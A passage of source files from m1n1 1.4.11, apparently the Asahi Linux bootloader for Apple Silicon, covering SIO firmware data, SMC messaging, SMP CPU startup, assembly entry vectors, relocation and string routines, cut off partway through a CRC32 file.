PARAM_DEVICE_TYPE 0x001c #define PARAM_TUNABLES 0x001e #define PARAM_DMASHIM_DATA 0x0022 #define PARAM_UNK_030d 0x030d struct copy_rule { const char *prop; int fw_param; bool keyed; int blobsize; u32 nkeys; const char *keys[9]; }; #define SPACER "\xff\xff\xff\xff" struct copy_rule copy_rules[] = { { .prop = "asio-ascwrap-tunables", .fw_param = PARAM_TUNABLES, }, { .blobsize = 0x1b80, .fw_param = PARAM_UNK_000b, }, { .blobsize = 0x1e000, .fw_param = PARAM_PANIC_BUFFER, }, { // peformance endpoint? FIFO? .blobsize = 0x4000, .fw_param = PARAM_UNK_030d, }, { .prop = "map-range", .fw_param = PARAM_MAP_RANGE, .blobsize = 16, .keyed = true, .keys = {SPACER, SPACER, SPACER, "MISC", NULL}, }, { .prop = "dmashim", .fw_param = PARAM_DMASHIM_DATA, .blobsize = 32, .keyed = true, .keys = {"SSPI", "SUAR", "SAUD", "ADMA", "AAUD", NULL}, }, { // it seems 'device_type' must go after 'dmashim' .prop = "device-type", .fw_param = PARAM_DEVICE_TYPE, .blobsize = 8, .keyed = true, .keys = {"dSPI", "dUAR", "dMCA", "dDPA", "dPDM", "dALE", "dAMC", "dAPD", NULL}, }, }; int find_key_index(const char *keylist[], u32 needle) { int i; for (i = 0; keylist[i]; i++) { const char *s = keylist[i]; u32 key = ((u32)s[0]) << 24 | ((u32)s[1]) << 16 | ((u32)s[2]) << 8 | s[3]; if (key == needle) break; } return i; } int sio_setup_fwdata(void) { int ret = -ENOMEM; if (sio_fwdata) return 0; sio_fwdata = calloc(MAX_FWDATA, sizeof(*sio_fwdata)); if (!sio_fwdata) return -ENOMEM; sio_num_fwdata = 0; sio_fwparams = calloc(MAX_FWPARAMS, sizeof(*sio_fwdata)); if (!sio_fwparams) { free(sio_fwdata); return -ENOMEM; } sio_num_fwparams = 0; int node = adt_path_offset(adt, "/arm-io/sio"); if (node < 0) { printf("%s: missing node\n", __func__); goto err_inval; } for (int i = 0; i < (int)ARRAY_SIZE(copy_rules); i++) { struct copy_rule *rule = ©_rules[i]; u32 len; if (!rule->prop) { if (!add_fwdata(rule->blobsize, rule->fw_param)) goto err_nomem; continue; } const u8 *adt_blob = adt_getprop(adt, node, rule->prop, &len); if (!adt_blob) { printf("%s: missing ADT property '%s'\n", __func__, rule->prop); goto err_inval; } if (!rule->keyed) { u8 *sio_blob = add_fwdata(len, rule->fw_param); if (!sio_blob) goto err_nomem; memcpy8(sio_blob, (void *)adt_blob, len); continue; } int nkeys = find_key_index(rule->keys, 0); u8 *sio_blob = add_fwdata(nkeys * rule->blobsize, rule->fw_param); if (!sio_blob) goto err_nomem; if (len % (rule->blobsize + 4) != 0) { printf("%s: bad length %d of ADT property '%s', expected multiple of %d + 4\n", __func__, len, rule->prop, rule->blobsize); goto err_inval; } for (u32 off = 0; off + rule->blobsize <= len; off += (rule->blobsize + 4)) { const u8 *p = &adt_blob[off]; u32 key = *((u32 *)p); int key_idx = find_key_index(rule->keys, key); if (key_idx >= nkeys) { printf("%s: unknown key %x found in ADT property '%s'\n", __func__, key, rule->prop); goto err_inval; } memcpy8(sio_blob + (key_idx * rule->blobsize), (void *)(p + 4), rule->blobsize); } } mapping_fixup(); return 0; err_inval: ret = -EINVAL; goto err; err_nomem: ret = -ENOMEM; goto err; err: for (int i = 0; i < MAX_FWDATA; i++) { if (!sio_fwdata[i].size) break; // No way to give back memory with the top of memory // allocator. // free((void *)sio_fwdata[i].phys); } free(sio_fwdata); free(sio_fwparams); sio_fwdata = NULL; sio_fwparams = NULL; return ret; } m1n1-1.4.11/src/sio.h000066400000000000000000000005461453754430200141200ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef SIO_H #define SIO_H struct sio_mapping { u64 phys; u64 iova; u64 size; }; struct sio_fwparam { u32 key; u32 value; }; extern int sio_num_fwdata; extern struct sio_mapping *sio_fwdata; extern int sio_num_fwparams; extern struct sio_fwparam *sio_fwparams; int sio_setup_fwdata(void); #endif m1n1-1.4.11/src/smc.c000066400000000000000000000076061453754430200141070ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "assert.h" #include "malloc.h" #include "smc.h" #include "string.h" #include "types.h" #include "utils.h" #define SMC_READ_KEY 0x10 #define SMC_WRITE_KEY 0x11 #define SMC_GET_KEY_BY_INDEX 0x12 #define SMC_GET_KEY_INFO 0x13 #define SMC_INITIALIZE 0x17 #define SMC_NOTIFICATION 0x18 #define SMC_RW_KEY 0x20 #define SMC_MSG_TYPE GENMASK(7, 0) #define SMC_MSG_ID GENMASK(15, 12) #define SMC_WRITE_KEY_SIZE GENMASK(23, 16) #define SMC_WRITE_KEY_KEY GENMASK(63, 32) #define SMC_RESULT_RESULT GENMASK(7, 0) #define SMC_RESULT_ID GENMASK(15, 12) #define SMC_RESULT_SIZE GENMASK(31, 16) #define SMC_RESULT_VALUE GENMASK(63, 32) #define SMC_NUM_IDS 16 #define SMC_ENDPOINT 0x20 struct smc_dev { asc_dev_t *asc; rtkit_dev_t *rtkit; void *shmem; u32 msgid; bool outstanding[SMC_NUM_IDS]; u64 ret[SMC_NUM_IDS]; }; static void smc_handle_msg(smc_dev_t *smc, u64 msg) { if (!smc->shmem) smc->shmem = (void *)msg; else { u8 result = FIELD_GET(SMC_RESULT_RESULT, msg); u8 id = FIELD_GET(SMC_RESULT_ID, msg); if (result == SMC_NOTIFICATION) { printf("SMC: Notification: 0x%08lx\n", FIELD_GET(SMC_RESULT_VALUE, msg)); return; } smc->outstanding[id] = false; smc->ret[id] = msg; } } static int smc_work(smc_dev_t *smc) { int ret; struct rtkit_message msg; while ((ret = rtkit_recv(smc->rtkit, &msg)) == 0) ; if (ret < 0) { printf("SMC: rtkit_recv failed!\n"); return ret; } if (msg.ep != SMC_ENDPOINT) { printf("SMC: received message for unexpected endpoint 0x%02x\n", msg.ep); return 0; } smc_handle_msg(smc, msg.msg); return 0; } static void smc_send(smc_dev_t *smc, u64 message) { struct rtkit_message msg; msg.ep = SMC_ENDPOINT; msg.msg = message; rtkit_send(smc->rtkit, &msg); } static int smc_cmd(smc_dev_t *smc, u64 message) { u8 id = smc->msgid++ & 0xF; assert(!smc->outstanding[id]); smc->outstanding[id] = true; message |= FIELD_PREP(SMC_MSG_ID, id); smc_send(smc, message); while (smc->outstanding[id]) smc_work(smc); u64 result = smc->ret[id]; u32 ret = FIELD_GET(SMC_RESULT_RESULT, result); if (ret) { printf("SMC: smc_cmd[0x%x] failed: %u\n", id, ret); return ret; } return 0; } void smc_shutdown(smc_dev_t *smc) { rtkit_quiesce(smc->rtkit); rtkit_free(smc->rtkit); asc_free(smc->asc); free(smc); } smc_dev_t *smc_init(void) { smc_dev_t *smc = calloc(1, sizeof(smc_dev_t)); if (!smc) return NULL; smc->asc = asc_init("/arm-io/smc"); if (!smc->asc) { printf("SMC: failed to initialize ASC\n"); goto out_free; } smc->rtkit = rtkit_init("smc", smc->asc, NULL, NULL, NULL, true); if (!smc->rtkit) { printf("SMC: failed to initialize RTKit\n"); goto out_asc; } if (!rtkit_boot(smc->rtkit)) { printf("SMC: failed to boot RTKit\n"); goto out_rtkit; } if (!rtkit_start_ep(smc->rtkit, SMC_ENDPOINT)) { printf("SMC: failed start SMC endpoint\n"); goto out_rtkit; } u64 initialize = FIELD_PREP(SMC_MSG_TYPE, SMC_INITIALIZE) | FIELD_PREP(SMC_MSG_ID, smc->msgid++); smc_send(smc, initialize); while (!smc->shmem) { int ret = smc_work(smc); if (ret < 0) goto out_rtkit; } return smc; out_rtkit: rtkit_free(smc->rtkit); out_asc: asc_free(smc->asc); out_free: free(smc); return NULL; } int smc_write_u32(smc_dev_t *smc, u32 key, u32 value) { memcpy(smc->shmem, &value, sizeof(value)); u64 msg = FIELD_PREP(SMC_MSG_TYPE, SMC_WRITE_KEY); msg |= FIELD_PREP(SMC_WRITE_KEY_SIZE, sizeof(value)); msg |= FIELD_PREP(SMC_WRITE_KEY_KEY, key); return smc_cmd(smc, msg); } m1n1-1.4.11/src/smc.h000066400000000000000000000004321453754430200141020ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef SMC_H #define SMC_H #include "asc.h" #include "rtkit.h" #include "types.h" typedef struct smc_dev smc_dev_t; int smc_write_u32(smc_dev_t *smc, u32 key, u32 value); smc_dev_t *smc_init(void); void smc_shutdown(smc_dev_t *smc); #endif m1n1-1.4.11/src/smp.c000066400000000000000000000230371453754430200141200ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "smp.h" #include "adt.h" #include "cpu_regs.h" #include "malloc.h" #include "pmgr.h" #include "soc.h" #include "string.h" #include "types.h" #include "utils.h" #define CPU_START_OFF_T8103 0x54000 #define CPU_START_OFF_T8112 0x34000 #define CPU_START_OFF_T6020 0x28000 #define CPU_START_OFF_T6031 0x88000 #define CPU_REG_CORE GENMASK(7, 0) #define CPU_REG_CLUSTER GENMASK(10, 8) #define CPU_REG_DIE GENMASK(14, 11) struct spin_table { u64 mpidr; u64 flag; u64 target; u64 args[4]; u64 retval; }; void *_reset_stack; #define DUMMY_STACK_SIZE 0x1000 u8 dummy_stack[DUMMY_STACK_SIZE]; u8 *secondary_stacks[MAX_CPUS] = {dummy_stack}; static bool wfe_mode = false; static int target_cpu; static int cpu_nodes[MAX_CPUS]; static struct spin_table spin_table[MAX_CPUS]; static u64 pmgr_reg; static u64 cpu_start_off; extern u8 _vectors_start[0]; int boot_cpu_idx = -1; u64 boot_cpu_mpidr = 0; void smp_secondary_entry(void) { struct spin_table *me = &spin_table[target_cpu]; if (in_el2()) msr(TPIDR_EL2, target_cpu); else msr(TPIDR_EL1, target_cpu); printf(" Index: %d (table: %p)\n\n", target_cpu, me); me->mpidr = mrs(MPIDR_EL1) & 0xFFFFFF; sysop("dmb sy"); me->flag = 1; sysop("dmb sy"); u64 target; while (1) { while (!(target = me->target)) { if (wfe_mode) { sysop("wfe"); } else { deep_wfi(); msr(SYS_IMP_APL_IPI_SR_EL1, 1); } sysop("isb"); } sysop("dmb sy"); me->flag++; sysop("dmb sy"); me->retval = ((u64(*)(u64 a, u64 b, u64 c, u64 d))target)(me->args[0], me->args[1], me->args[2], me->args[3]); sysop("dmb sy"); me->target = 0; sysop("dmb sy"); } } static void smp_start_cpu(int index, int die, int cluster, int core, u64 impl, u64 cpu_start_base) { int i; if (index >= MAX_CPUS) return; if (spin_table[index].flag) return; printf("Starting CPU %d (%d:%d:%d)... ", index, die, cluster, core); memset(&spin_table[index], 0, sizeof(struct spin_table)); target_cpu = index; secondary_stacks[index] = memalign(0x4000, SECONDARY_STACK_SIZE); _reset_stack = secondary_stacks[index] + SECONDARY_STACK_SIZE; sysop("dmb sy"); write64(impl, (u64)_vectors_start); cpu_start_base += die * PMGR_DIE_OFFSET; // Some kind of system level startup/status bit // Without this, IRQs don't work write32(cpu_start_base + 0x4, 1 << (4 * cluster + core)); // Actually start the core write32(cpu_start_base + 0x8 + 4 * cluster, 1 << core); for (i = 0; i < 100; i++) { sysop("dmb ld"); if (spin_table[index].flag) break; udelay(1000); } if (i >= 100) printf("Failed!\n"); else printf(" Started.\n"); _reset_stack = dummy_stack + DUMMY_STACK_SIZE; } static void smp_stop_cpu(int index, int die, int cluster, int core, u64 impl, u64 cpu_start_base, bool deep_sleep) { int i; if (index >= MAX_CPUS) return; if (!spin_table[index].flag) return; printf("Stopping CPU %d (%d:%d:%d)... ", index, die, cluster, core); cpu_start_base += die * PMGR_DIE_OFFSET; // Request CPU stop write32(cpu_start_base + 0x0, 1 << (4 * cluster + core)); // Put the CPU to sleep smp_call1(index, cpu_sleep, deep_sleep); // If going into deep sleep, powering off the last core in a cluster kills our register // access, so just wait a bit. if (deep_sleep) { udelay(10000); printf(" Presumed stopped.\n"); memset(&spin_table[index], 0, sizeof(struct spin_table)); return; } // Check that it actually shut down for (i = 0; i < 50; i++) { sysop("dmb ld"); if (!(read64(impl + 0x100) & 0xff)) break; udelay(1000); } if (i >= 50) { printf("Failed!\n"); } else { printf(" Stopped.\n"); memset(&spin_table[index], 0, sizeof(struct spin_table)); } } void smp_start_secondaries(void) { printf("Starting secondary CPUs...\n"); int pmgr_path[8]; if (adt_path_offset_trace(adt, "/arm-io/pmgr", pmgr_path) < 0) { printf("Error getting /arm-io/pmgr node\n"); return; } if (adt_get_reg(adt, pmgr_path, "reg", 0, &pmgr_reg, NULL) < 0) { printf("Error getting /arm-io/pmgr regs\n"); return; } int node = adt_path_offset(adt, "/cpus"); if (node < 0) { printf("Error getting /cpus node\n"); return; } memset(cpu_nodes, 0, sizeof(cpu_nodes)); switch (chip_id) { case T8103: case T6000: case T6001: case T6002: cpu_start_off = CPU_START_OFF_T8103; break; case T8112: case T8122: cpu_start_off = CPU_START_OFF_T8112; break; case T6020: case T6021: case T6022: cpu_start_off = CPU_START_OFF_T6020; break; case T6031: case T6034: cpu_start_off = CPU_START_OFF_T6031; break; default: printf("CPU start offset is unknown for this SoC!\n"); return; } ADT_FOREACH_CHILD(adt, node) { u32 cpu_id; if (ADT_GETPROP(adt, node, "cpu-id", &cpu_id) < 0) continue; if (cpu_id >= MAX_CPUS) { printf("cpu-id %d exceeds max CPU count %d: increase MAX_CPUS\n", cpu_id, MAX_CPUS); continue; } cpu_nodes[cpu_id] = node; } /* The boot cpu id never changes once set */ if (boot_cpu_idx == -1) { /* Figure out which CPU we are on by seeing which CPU is running */ /* This seems silly but it's what XNU does */ for (int i = 0; i < MAX_CPUS; i++) { int cpu_node = cpu_nodes[i]; if (!cpu_node) continue; const char *state = adt_getprop(adt, cpu_node, "state", NULL); if (!state) continue; if (strcmp(state, "running") == 0) { boot_cpu_idx = i; boot_cpu_mpidr = mrs(MPIDR_EL1); break; } } } if (boot_cpu_idx == -1) { printf( "Could not find currently running CPU in cpu table, can't start other processors!\n"); return; } for (int i = 0; i < MAX_CPUS; i++) { if (i == boot_cpu_idx) continue; int cpu_node = cpu_nodes[i]; if (!cpu_node) continue; u32 reg; u64 cpu_impl_reg[2]; if (ADT_GETPROP(adt, cpu_node, "reg", ®) < 0) continue; if (ADT_GETPROP_ARRAY(adt, cpu_node, "cpu-impl-reg", cpu_impl_reg) < 0) continue; u8 core = FIELD_GET(CPU_REG_CORE, reg); u8 cluster = FIELD_GET(CPU_REG_CLUSTER, reg); u8 die = FIELD_GET(CPU_REG_DIE, reg); smp_start_cpu(i, die, cluster, core, cpu_impl_reg[0], pmgr_reg + cpu_start_off); } spin_table[boot_cpu_idx].mpidr = mrs(MPIDR_EL1) & 0xFFFFFF; } void smp_stop_secondaries(bool deep_sleep) { printf("Stopping secondary CPUs...\n"); smp_set_wfe_mode(true); for (int i = 0; i < MAX_CPUS; i++) { int node = cpu_nodes[i]; if (!node) continue; u32 reg; u64 cpu_impl_reg[2]; if (ADT_GETPROP(adt, node, "reg", ®) < 0) continue; if (ADT_GETPROP_ARRAY(adt, node, "cpu-impl-reg", cpu_impl_reg) < 0) continue; u8 core = FIELD_GET(CPU_REG_CORE, reg); u8 cluster = FIELD_GET(CPU_REG_CLUSTER, reg); u8 die = FIELD_GET(CPU_REG_DIE, reg); smp_stop_cpu(i, die, cluster, core, cpu_impl_reg[0], pmgr_reg + cpu_start_off, deep_sleep); } } void smp_send_ipi(int cpu) { if (cpu >= MAX_CPUS) return; u64 mpidr = spin_table[cpu].mpidr; msr(SYS_IMP_APL_IPI_RR_GLOBAL_EL1, (mpidr & 0xff) | ((mpidr & 0xff00) << 8)); } void smp_call4(int cpu, void *func, u64 arg0, u64 arg1, u64 arg2, u64 arg3) { if (cpu >= MAX_CPUS) return; struct spin_table *target = &spin_table[cpu]; if (cpu == 0) return; u64 flag = target->flag; target->args[0] = arg0; target->args[1] = arg1; target->args[2] = arg2; target->args[3] = arg3; sysop("dmb sy"); target->target = (u64)func; sysop("dsb sy"); if (wfe_mode) sysop("sev"); else smp_send_ipi(cpu); while (target->flag == flag) sysop("dmb sy"); } u64 smp_wait(int cpu) { if (cpu >= MAX_CPUS) return 0; struct spin_table *target = &spin_table[cpu]; while (target->target) sysop("dmb sy"); return target->retval; } void smp_set_wfe_mode(bool new_mode) { wfe_mode = new_mode; sysop("dsb sy"); for (int cpu = 0; cpu < MAX_CPUS; cpu++) if (cpu != boot_cpu_idx && smp_is_alive(cpu)) smp_send_ipi(cpu); sysop("sev"); } bool smp_is_alive(int cpu) { if (cpu >= MAX_CPUS) return false; return spin_table[cpu].flag; } uint64_t smp_get_mpidr(int cpu) { if (cpu >= MAX_CPUS) return 0; return spin_table[cpu].mpidr; } u64 smp_get_release_addr(int cpu) { struct spin_table *target = &spin_table[cpu]; if (cpu >= MAX_CPUS) return 0; target->args[0] = 0; target->args[1] = 0; target->args[2] = 0; target->args[3] = 0; return (u64)&target->target; } m1n1-1.4.11/src/smp.h000066400000000000000000000017351453754430200141260ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __SMP_H__ #define __SMP_H__ #include "types.h" #include "utils.h" #define MAX_CPUS 24 #define SECONDARY_STACK_SIZE 0x10000 extern u8 *secondary_stacks[MAX_CPUS]; void smp_secondary_entry(void); void smp_start_secondaries(void); void smp_stop_secondaries(bool deep_sleep); #define smp_call0(i, f) smp_call4(i, f, 0, 0, 0, 0) #define smp_call1(i, f, a) smp_call4(i, f, a, 0, 0, 0) #define smp_call2(i, f, a, b) smp_call4(i, f, a, b, 0, 0) #define smp_call3(i, f, a, b, c) smp_call4(i, f, a, b, c, 0) void smp_call4(int cpu, void *func, u64 arg0, u64 arg1, u64 arg2, u64 arg3); u64 smp_wait(int cpu); bool smp_is_alive(int cpu); uint64_t smp_get_mpidr(int cpu); u64 smp_get_release_addr(int cpu); void smp_set_wfe_mode(bool new_mode); void smp_send_ipi(int cpu); static inline int smp_id(void) { if (in_el2()) return mrs(TPIDR_EL2); else return mrs(TPIDR_EL1); } extern int boot_cpu_idx; #endif m1n1-1.4.11/src/soc.h000066400000000000000000000013351453754430200141070ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __SOC_H__ #define __SOC_H__ #include "../config.h" #define T8103 0x8103 #define T8112 0x8112 #define T8122 0x8122 #define T6000 0x6000 #define T6001 0x6001 #define T6002 0x6002 #define T6020 0x6020 #define T6021 0x6021 #define T6022 0x6022 #define T6031 0x6031 #define T6034 0x6034 #ifdef TARGET #if TARGET == T8103 #define EARLY_UART_BASE 0x235200000 #elif TARGET == T6000 || TARGET == T6001 || TARGET == T6002 || TARGET == T6020 || \ TARGET == T6021 || TARGET == T6022 #define EARLY_UART_BASE 0x39b200000 #elif TARGET == T8112 #define EARLY_UART_BASE 0x235200000 #elif TARGET == T6034 || TARGET == T6031 #define EARLY_UART_BASE 0x391200000 #endif #endif #endif m1n1-1.4.11/src/start.S000066400000000000000000000051171453754430200144350ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "soc.h" #define UTRSTAT 0x010 #define UTXH 0x020 .extern _start_c .extern _stack_bot .extern _v_sp0_sync .extern _v_sp0_irq .extern _v_sp0_fiq .extern _v_sp0_serr .extern _reset_stack .extern _cpu_reset_c .extern wdt_reboot .section .init, "ax" .align 11 .globl _vectors_start _vectors_start: mov x9, '0' b cpu_reset .align 7 mov x9, '1' b exc_unk .align 7 mov x9, '2' b exc_unk .align 7 mov x9, '3' b exc_unk .align 7 b _v_sp0_sync .align 7 b _v_sp0_irq .align 7 b _v_sp0_fiq .align 7 b _v_sp0_serr .align 7 b _v_sp0_sync .align 7 b _v_sp0_irq .align 7 b _v_sp0_fiq .align 7 b _v_sp0_serr .align 7 mov x9, 'p' b exc_unk .align 7 mov x9, 'q' b exc_unk .align 7 mov x9, 'r' b exc_unk .align 7 mov x9, 's' b exc_unk .align 7 .globl _start .type _start, @function _start: mov x19, x0 mov w0, 'm' bl debug_putc adrp x1, _stack_bot mov sp, x1 mov w0, '1' bl debug_putc ldr x2, [sp, #-8] mov w0, 'n' bl debug_putc adrp x0, _base mov x20, x0 adrp x1, _rela_start add x1, x1, :lo12:_rela_start adrp x2, _rela_end add x2, x2, :lo12:_rela_end bl apply_rela mov w0, '1' bl debug_putc mov w0, 0xd /* '\r', clang compat */ bl debug_putc mov w0, '\n' bl debug_putc mov x0, x19 mov x1, x20 bl _start_c b . .globl exc_unk .type exc_unk, @function exc_unk: mov w0, 0xd /* '\r', clang compat */ bl debug_putc mov w0, '\n' bl debug_putc mov w0, '!' bl debug_putc mov w0, 'E' bl debug_putc mov w0, 'x' bl debug_putc mov w0, 'C' bl debug_putc mov w0, ':' bl debug_putc mov w0, w9 bl debug_putc mov w0, '!' bl debug_putc mov w0, 0xd /* '\r', clang compat */ bl debug_putc mov w0, '\n' bl debug_putc b reboot .globl cpu_reset .type cpu_reset, @function cpu_reset: mov w0, 'O' bl debug_putc adrp x1, _reset_stack add x1, x1, :lo12:_reset_stack ldr x1, [x1] mov sp, x1 ldr x2, [sp, #-8] mov w0, 'K' bl debug_putc mov x0, sp bl _cpu_reset_c b . .globl debug_putc .type debug_putc, @function debug_putc: #ifdef EARLY_UART_BASE ldr x1, =EARLY_UART_BASE 1: ldr w2, [x1, UTRSTAT] tst w2, #2 beq 1b str w0, [x1, UTXH] #endif ret .globl reboot .type reboot, @function reboot: mrs x0, CurrentEL cmp x0, #8 beq 1f hvc #0 1: bl wdt_reboot b . .pool m1n1-1.4.11/src/startup.c000066400000000000000000000063621453754430200150250ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "chickens.h" #include "exception.h" #include "smp.h" #include "string.h" #include "types.h" #include "uart.h" #include "utils.h" #include "xnuboot.h" u64 boot_args_addr; struct boot_args cur_boot_args; void *adt; struct rela_entry { uint64_t off, type, addend; }; void debug_putc(char c); void m1n1_main(void); extern char _bss_start[0]; extern char _bss_end[0]; #define R_AARCH64_RELATIVE 1027 void apply_rela(uint64_t base, struct rela_entry *rela_start, struct rela_entry *rela_end) { struct rela_entry *e = rela_start; while (e < rela_end) { switch (e->type) { case R_AARCH64_RELATIVE: *(u64 *)(base + e->off) = base + e->addend; break; default: debug_putc('R'); debug_putc('!'); while (1) ; } e++; } } void dump_boot_args(struct boot_args *ba) { printf(" revision: %d\n", ba->revision); printf(" version: %d\n", ba->version); printf(" virt_base: 0x%lx\n", ba->virt_base); printf(" phys_base: 0x%lx\n", ba->phys_base); printf(" mem_size: 0x%lx\n", ba->mem_size); printf(" top_of_kdata: 0x%lx\n", ba->top_of_kernel_data); printf(" video:\n"); printf(" base: 0x%lx\n", ba->video.base); printf(" display: 0x%lx\n", ba->video.display); printf(" stride: 0x%lx\n", ba->video.stride); printf(" width: %lu\n", ba->video.width); printf(" height: %lu\n", ba->video.height); printf(" depth: %lubpp\n", ba->video.depth & 0xff); printf(" density: %lu\n", ba->video.depth >> 16); printf(" machine_type: %d\n", ba->machine_type); printf(" devtree: %p\n", ba->devtree); printf(" devtree_size: 0x%x\n", ba->devtree_size); printf(" cmdline: %s\n", ba->cmdline); printf(" boot_flags: 0x%lx\n", ba->boot_flags); printf(" mem_size_act: 0x%lx\n", ba->mem_size_actual); } void _start_c(void *boot_args, void *base) { UNUSED(base); if (in_el2()) msr(TPIDR_EL2, 0); else msr(TPIDR_EL1, 0); memset64(_bss_start, 0, _bss_end - _bss_start); boot_args_addr = (u64)boot_args; memcpy(&cur_boot_args, boot_args, sizeof(cur_boot_args)); adt = (void *)(((u64)cur_boot_args.devtree) - cur_boot_args.virt_base + cur_boot_args.phys_base); int ret = uart_init(); if (ret < 0) { debug_putc('!'); } uart_puts("Initializing"); printf("CPU init (MIDR: 0x%lx)...\n", mrs(MIDR_EL1)); const char *type = init_cpu(); printf(" CPU: %s\n\n", type); printf("boot_args at %p\n", boot_args); dump_boot_args(&cur_boot_args); printf("\n"); exception_initialize(); m1n1_main(); } /* Secondary SMP core boot */ void _cpu_reset_c(void *stack) { if (!is_boot_cpu()) uart_puts("RVBAR entry on secondary CPU"); else uart_puts("RVBAR entry on primary CPU"); printf("\n Stack base: %p\n", stack); printf(" MPIDR: 0x%lx\n", mrs(MPIDR_EL1)); const char *type = init_cpu(); printf(" CPU: %s\n", type); exception_initialize(); if (!is_boot_cpu()) smp_secondary_entry(); else m1n1_main(); } m1n1-1.4.11/src/string.c000066400000000000000000000064171453754430200146320ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include #include "string.h" // Routines based on The Public Domain C Library void *memcpy(void *s1, const void *s2, size_t n) { char *dest = (char *)s1; const char *src = (const char *)s2; while (n--) { *dest++ = *src++; } return s1; } void *memmove(void *s1, const void *s2, size_t n) { char *dest = (char *)s1; const char *src = (const char *)s2; if (dest <= src) { while (n--) { *dest++ = *src++; } } else { src += n; dest += n; while (n--) { *--dest = *--src; } } return s1; } int memcmp(const void *s1, const void *s2, size_t n) { const unsigned char *p1 = (const unsigned char *)s1; const unsigned char *p2 = (const unsigned char *)s2; while (n--) { if (*p1 != *p2) { return *p1 - *p2; } ++p1; ++p2; } return 0; } void *memset(void *s, int c, size_t n) { unsigned char *p = (unsigned char *)s; while (n--) { *p++ = (unsigned char)c; } return s; } void *memchr(const void *s, int c, size_t n) { const unsigned char *p = (const unsigned char *)s; while (n--) { if (*p == (unsigned char)c) { return (void *)p; } ++p; } return NULL; } char *strcpy(char *s1, const char *s2) { char *rc = s1; while ((*s1++ = *s2++)) { /* EMPTY */ } return rc; } char *strncpy(char *s1, const char *s2, size_t n) { char *rc = s1; while (n && (*s1++ = *s2++)) { /* Cannot do "n--" in the conditional as size_t is unsigned and we have to check it again for >0 in the next loop below, so we must not risk underflow. */ --n; } /* Checking against 1 as we missed the last --n in the loop above. */ while (n-- > 1) { *s1++ = '\0'; } return rc; } int strcmp(const char *s1, const char *s2) { while ((*s1) && (*s1 == *s2)) { ++s1; ++s2; } return (*(unsigned char *)s1 - *(unsigned char *)s2); } int strncmp(const char *s1, const char *s2, size_t n) { while (n && *s1 && (*s1 == *s2)) { ++s1; ++s2; --n; } if (n == 0) { return 0; } else { return (*(unsigned char *)s1 - *(unsigned char *)s2); } } size_t strlen(const char *s) { size_t rc = 0; while (s[rc]) { ++rc; } return rc; } size_t strnlen(const char *s, size_t n) { size_t rc = 0; while (rc < n && s[rc]) { ++rc; } return rc; } char *strchr(const char *s, int c) { do { if (*s == (char)c) { return (char *)s; } } while (*s++); return NULL; } char *strrchr(const char *s, int c) { size_t i = 0; while (s[i++]) { /* EMPTY */ } do { if (s[--i] == (char)c) { return (char *)s + i; } } while (i); return NULL; } /* Very naive, no attempt to check for errors */ long atol(const char *s) { long val = 0; bool neg = false; if (*s == '-') { neg = true; s++; } while (*s >= '0' && *s <= '9') val = (val * 10) + (*s++ - '0'); if (neg) val = -val; return val; } m1n1-1.4.11/src/tinf/000077500000000000000000000000001453754430200141105ustar00rootroot00000000000000m1n1-1.4.11/src/tinf/adler32.c000066400000000000000000000040471453754430200155150ustar00rootroot00000000000000/* * Adler-32 checksum * * Copyright (c) 2003-2019 Joergen Ibsen * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must * not claim that you wrote the original software. If you use this * software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and must * not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. */ /* * Adler-32 algorithm taken from the zlib source, which is * Copyright (C) 1995-1998 Jean-loup Gailly and Mark Adler */ #include "tinf.h" #define A32_BASE 65521 #define A32_NMAX 5552 unsigned int tinf_adler32(const void *data, unsigned int length) { const unsigned char *buf = (const unsigned char *) data; unsigned int s1 = 1; unsigned int s2 = 0; while (length > 0) { int k = length < A32_NMAX ? length : A32_NMAX; int i; for (i = k / 16; i; --i, buf += 16) { s1 += buf[0]; s2 += s1; s1 += buf[1]; s2 += s1; s1 += buf[2]; s2 += s1; s1 += buf[3]; s2 += s1; s1 += buf[4]; s2 += s1; s1 += buf[5]; s2 += s1; s1 += buf[6]; s2 += s1; s1 += buf[7]; s2 += s1; s1 += buf[8]; s2 += s1; s1 += buf[9]; s2 += s1; s1 += buf[10]; s2 += s1; s1 += buf[11]; s2 += s1; s1 += buf[12]; s2 += s1; s1 += buf[13]; s2 += s1; s1 += buf[14]; s2 += s1; s1 += buf[15]; s2 += s1; } for (i = k % 16; i; --i) { s1 += *buf++; s2 += s1; } s1 %= A32_BASE; s2 %= A32_BASE; length -= k; } return (s2 << 16) | s1; } m1n1-1.4.11/src/tinf/crc32.c000066400000000000000000000033111453754430200151660ustar00rootroot00000000000000/* * CRC32 checksum * * Copyright (c) 1998-2019 Joergen Ibsen * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * * Permission is granted to anyone to use this software for any purpose, * including commercial applications, and to alter it and redistribute it * freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you must * not claim that you wrote the original software. If you use this * software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and must * not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. */ /* * CRC32 algorithm taken from the zlib source, which is * Copyright (C) 1995-1998 Jean-loup Gailly and Mark Adler */ #include "tinf.h" static const unsigned int tinf_crc32tab[16] = { 0x00000000, 0x1DB71064, 0x3B6E20C8, 0x26D930AC, 0x76DC4190, 0x6B6B51F4, 0x4DB26158, 0x5005713C, 0xEDB88320, 0xF00F9344, 0xD6D6A3E8, 0xCB61B38C, 0x9B64C2B0, 0x86D3D2D4, 0xA00AE278, 0xBDBDF21C }; unsigned int tinf_crc32(const void *data, unsigned int 